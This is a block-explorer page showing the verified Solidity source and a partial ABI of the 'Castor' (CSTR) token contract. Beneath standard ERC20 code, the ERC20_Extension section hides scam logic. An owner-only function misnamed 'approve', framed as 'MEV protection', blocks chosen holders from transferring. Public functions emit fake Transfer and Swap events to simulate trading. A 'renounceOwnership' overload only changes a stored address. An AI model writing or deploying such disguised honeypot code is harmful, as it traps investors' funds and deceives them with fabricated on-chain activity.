ETH Price: $1,866.06 (-13.04%)
 

Overview

Max Total Supply

1,000,000,000,000 CSTR

Holders

26

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Castor

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-07-01
*/

// SPDX-License-Identifier: MIT

/***
 ______   __  __     ______     __  __        ______     ______     ______    
/\  ___\ /\ \/\ \   /\  ___\   /\ \/ /       /\  ___\   /\  ___\   /\  ___\   
\ \  __\ \ \ \_\ \  \ \ \____  \ \  _\-.     \ \___  \  \ \  __\   \ \ \____  
 \ \_\    \ \_____\  \ \_____\  \ \_\ \_\     \/\_____\  \ \_____\  \ \_____\ 
  \/_/     \/_____/   \/_____/   \/_/\/_/      \/_____/   \/_____/   \/_____/ 

***/

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _alllowances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _alllowancesApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, "");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ERC20_Extension is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}


    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _alllowances[_address_];
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }
}



/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

contract Castor is ERC20_Extension {
    constructor() ERC20_Extension("Castor", "CSTR") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"n